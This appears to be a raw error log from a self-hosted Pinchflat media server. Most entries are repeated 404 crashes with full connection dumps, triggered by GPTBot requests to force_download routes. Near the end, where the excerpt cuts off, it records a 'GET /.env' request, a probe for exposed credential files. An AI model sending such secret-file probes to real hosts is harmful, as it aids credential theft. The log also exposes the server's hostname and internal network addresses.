AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6123/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEzCqsa_ACz3EAA8JB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6123/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6123", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6123/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6123/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33920}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6123", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10527.0>, params: %{}, path_info: ["sources", "2", "media", "6123", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:54:57.093 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.701 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:27.094 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:36.632 [info] GET /sources/2/media/6121/force_download 15:55:36.632 [debug] QUERY OK source="settings" db=0.1ms idle=1692.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:55:36.632 [debug] QUERY OK source="settings" db=0.0ms idle=1692.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:55:36.632 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:55:36.632 [error] #PID<0.10533.0> running PinchflatWeb.Endpoint (connection #PID<0.10532.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6121/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6121/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6121/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6121", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10533.0>, params: %{}, path_info: ["sources", "2", "media", "6121", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6121"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6121/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVE23KEdSAkWc4AA8KB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6121/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6121", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6121/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6121/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6121", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10533.0>, params: %{}, path_info: ["sources", "2", "media", "6121", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:55:57.095 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.702 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:27.096 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:38.739 [info] GET /sources/2/media/6124/force_download 15:56:38.739 [debug] QUERY OK source="settings" db=0.1ms idle=1799.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:38.739 [debug] QUERY OK source="settings" db=0.0ms idle=1799.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:38.739 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:56:38.740 [error] #PID<0.10540.0> running PinchflatWeb.Endpoint (connection #PID<0.10539.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6124/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6124/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6124/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6124", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10540.0>, params: %{}, path_info: ["sources", "2", "media", "6124", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6124"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6124/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVE6ehllcf8yqgAAgcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6124/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6124", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6124/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6124/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6124", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10540.0>, params: %{}, path_info: ["sources", "2", "media", "6124", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:56:57.097 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.703 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:27.098 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:42.868 [info] GET /sources/3/media/6484/force_download 15:57:42.868 [debug] QUERY OK source="settings" db=0.0ms idle=1928.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:42.868 [debug] QUERY OK source="settings" db=0.0ms idle=1132.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:42.868 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:57:42.868 [error] #PID<0.10546.0> running PinchflatWeb.Endpoint (connection #PID<0.10545.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6484/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6484/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6484/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6484", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10546.0>, params: %{}, path_info: ["sources", "3", "media", "6484", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6484"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6484/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVE-NbHglUc6lIAA8NB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6484/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6484", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6484/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6484/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6484", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10546.0>, params: %{}, path_info: ["sources", "3", "media", "6484", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:57:57.099 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.704 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:27.100 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:35.108 [info] GET /.env 15:58:35.108 [debug] QUERY OK source="settings" db=0.1ms idle=1168.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:35.108 [debug] QUERY OK source="settings" db=0.0ms idle=1168.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:35.108 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:58:35.108 [error] #PID<0.10553.0> running PinchflatWeb.Endpoint (connection #PID<0.10552.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" 